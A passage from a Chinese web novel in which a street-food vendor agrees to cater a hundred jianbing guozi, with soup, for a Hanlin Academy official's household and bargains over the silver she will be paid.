遂对陈述安排道：“既然你与那摊主相熟，此事便交由你去问问，看那摊主可否愿意接一单私活。须问明她能否置办百份此种吃食，五日后于午时初送至角门，届时银钱比市价略高，绝不相亏。” / “一百份？” 姜至喜抬起头。 这不是后世餐饮习惯的预订餐么。 来不及的感慨这份“时髦”，便听到了预订数量，秀气的眉毛微微挑起，显然是被这笔大手笔给震惊到了。 陈述颔首，解释道：“我们学正是翰林院的官人，娘子不必担心银钱，此番采买愿出二两银子，绝不让娘子吃亏。” 姜至喜其实并不担心，只是：“这煎饼果子需得现做现吃风味才足，若是放凉了，味道恐怕欠佳。” 陈述没想到这一层，一听也发起愁来。 姜至喜却迅速做好决定。 她平日出摊，一天也不过能卖三四十个，如今对方一口气就要百份，单这笔进账，肯定就要选择多的。 何况……那可是翰林院！ 姜至喜一直觉得姜家人微力薄，身后无所倚仗，担心小食摊被人找麻烦，这才同那些衙役们打好交道。如今能翰林院的人都主动靠上来了，她还有什么理由拒绝？ 那旁，陈述见她半天没说话，只当她不愿，正准备再次劝说，姜至喜已经果断点头：“不如我将摊子一起推过去，届时给大人们现做，这样速度或许慢了些，但可以佐以些汤食，想必也能供应。” 陈述略微思索便答应下来：“这二两银子只是煎饼果子，若再加上汤，我便再给小娘子添二两。” 学生大人让他全面负责，一两银子而已，他还是可以做主的。 二两再加一两，也就是四两银子！都要赶上她一月的收益了！ 姜至喜听得眼睛闪亮，接！ 不接白不接！